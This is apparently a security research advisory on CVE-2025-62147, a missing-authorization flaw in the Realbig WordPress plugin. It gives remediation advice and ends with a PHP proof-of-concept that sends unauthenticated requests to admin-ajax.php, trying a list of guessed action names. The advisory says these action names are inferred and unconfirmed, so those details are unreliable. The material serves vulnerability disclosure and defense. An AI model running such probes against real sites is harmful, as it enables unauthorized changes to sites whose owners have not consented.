Atomic Edge analysis of CVE-2025-62147 (metadata-based):
The Realbig WordPress plugin version 1.1.3 contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to execute a privileged action intended only for authorized users. The vulnerability stems from an AJAX handler or REST endpoint lacking proper capability checks.
Atomic Edge research identifies the root cause as CWE-862 Missing Authorization. The plugin registers a WordPress hook (likely via wp_ajax_nopriv_ or a REST API endpoint) without verifying the user’s capability before processing the request. This inference is based on the CWE classification and the WordPress plugin architecture pattern. No code diff is available to confirm the exact function, but the CWE description directly matches the vulnerability behavior.
Exploitation involves sending a crafted HTTP request to the vulnerable endpoint. Attackers target the WordPress AJAX handler at /wp-admin/admin-ajax.php with an action parameter containing a plugin-specific hook. The payload structure mimics legitimate plugin requests but omits authentication credentials. The exact action name is unknown, but typical WordPress plugin patterns suggest actions like realbig_action, realbig_update, or realbig_process.
Remediation requires adding a proper capability check before executing the privileged function. The plugin developer must implement current_user_can() with an appropriate capability (like manage_options) or check nonces for authenticated actions. WordPress best practices dictate validating both capability and nonce for AJAX handlers. The patch should also consider removing the nopriv_ hook registration if the action should never be available to unauthenticated users.
Successful exploitation enables unauthenticated attackers to perform unauthorized administrative actions. The CVSS vector indicates impact to integrity (I:L) with no confidentiality or availability impact. This suggests the vulnerability allows modification of plugin settings, content manipulation, or data alteration without authentication. The exact impact depends on the vulnerable function’s purpose, which could range from configuration changes to content injection.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62147 - Realbig <= 1.1.3 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-62147
* Assumptions based on WordPress plugin patterns:
* 1. The plugin registers an AJAX handler without capability checks
* 2. The AJAX action contains the plugin slug 'realbig' or similar
* 3. The endpoint is /wp-admin/admin-ajax.php
* 4. The vulnerability affects POST requests (most common for AJAX actions)
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
// Common AJAX action patterns for the Realbig plugin
$possible_actions = [
'realbig_process',
'realbig_action',
'realbig_update',
'realbig_save',
'realbig_import',
'realbig_export',
'realbig_settings',
'realbig_media_action'
];
echo "[+] Testing CVE-2025-62147 against $target_urlnn";
foreach ($possible_actions as $action) {
echo "[*] Testing AJAX action: $actionn";
$ch = curl_init();
$post_data = [
'action' => $action,
'test_param' => 'exploit_test' // Generic parameter for testing
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => [
'User-Agent: Atomic Edge CVE Research/1.0',
'X-Requested-With: XMLHttpRequest' // Mimic AJAX request
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo " HTTP Status: $http_coden";
// Check for successful execution (not a WordPress authentication error)
if ($http_code == 200 &&
!str_contains($response, '0') && // WordPress often returns '0' for failed AJAX
!str_contains($response, 'error') &&
!str_contains($response, 'Unauthorized') &&
!str_contains($response, 'nonce') &&
!str_contains($response, 'capability')) {
echo " [+] POSSIBLE VULNERABLE ACTION: $actionn";
echo " Response preview: " . substr($response, 0, 200) . "...n";
}
curl_close($ch);
echo "n";
}
echo "[+] Testing complete. Note: This PoC tests common patterns.n";
echo " The exact vulnerable action name requires plugin source analysis.n";
?>
